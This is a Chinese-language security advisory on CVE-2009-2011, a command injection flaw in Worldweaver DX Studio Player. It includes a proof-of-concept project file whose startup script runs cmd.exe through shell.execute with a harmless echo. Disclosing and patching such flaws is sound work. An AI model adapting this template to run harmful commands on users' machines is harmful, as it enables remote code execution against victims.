发布日期：2009-05-21
更新日期：2009-05-26

受影响系统：

worldweaver Worldweaver DX Studio Player 3.0.29 0
worldweaver Worldweaver DX Studio Player 3.0.22 0
worldweaver Worldweaver DX Studio Player 3.0.12 0

不受影响系统：

worldweaver Worldweaver DX Studio Player 3.0.29 1

描述：

---

BUGTRAQ  ID: 35273
CVE ID: CVE-2009-2011

Worldweaver DX Studio是高级实时3D应用和游戏的开发工具。

Worldweaver DX Studio Player在实现上存在远程命令注入漏洞，攻击者可利用此漏洞在受影响应用中执行任意shell命令。

<*来源：Diego Juarez
  
  链接：http://osvdb.org/show/osvdb/54969
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Diego Juarez （）提供了如下测试方法：

&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; standalone=&quot;yes&quot;?&gt;
&lt;dxstudio version=&quot;1.0.0&quot; width=&quot;800&quot; height=&quot;600&quot; defaultscriptlanguage=&quot;javascript&quot;&gt;
  &lt;display frame=&quot;yes&quot; hidecursor=&quot;no&quot; hideconsole=&quot;no&quot; hidecontext=&quot;no&quot; maxfps=&quot;100&quot; unthrottled=&quot;no&quot; priority=&quot;normal&quot; syncrefresh=&quot;yes&quot; changeresolution=&quot;no&quot; userresize=&quot;yes&quot; workarea=&quot;no&quot; windowmask=&quot;no&quot; src=&quot;&quot; minplayerversion=&quot;1.0.0&quot;&gt;
    &lt;loading console=&quot;yes&quot; custom=&quot;no&quot; custombackground=&quot;no&quot; customlogo=&quot;yes&quot; showversion=&quot;no&quot;&gt;
      &lt;prop id=&quot;background&quot; type=&quot;color&quot; r=&quot;0&quot; g=&quot;0&quot; b=&quot;0&quot; a=&quot;1&quot; /&gt;
      &lt;logo src=&quot;&quot; /&gt;
      &lt;customprogress /&gt;
    &lt;/loading&gt;
  &lt;/display&gt;
  &lt;script&gt;
    &lt;![CDATA[function onInit()
{
shell.execute(&quot;cmd.exe&quot;,&quot;/k cls|@echo this is wrong, very wrong.&quot;)
} ] ]&gt;
  &lt;/script&gt;
  &lt;licenseinfo stamp=&quot;cgdaaaaa&quot; /&gt;
  &lt;security&gt;
    &lt;prop id=&quot;password&quot; type=&quot;string&quot; value=&quot;&quot; /&gt;
    &lt;prop id=&quot;allowplayer&quot; type=&quot;bool&quot; state=&quot;no&quot; /&gt;
    &lt;prop id=&quot;nocache&quot; type=&quot;bool&quot; state=&quot;yes&quot; /&gt;
  &lt;/security&gt;
&lt;/dxstudio&gt;

建议：

---

厂商补丁：

worldweaver
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.worldweaver.com/

浏览次数：1702
严重程度：0（网友投票）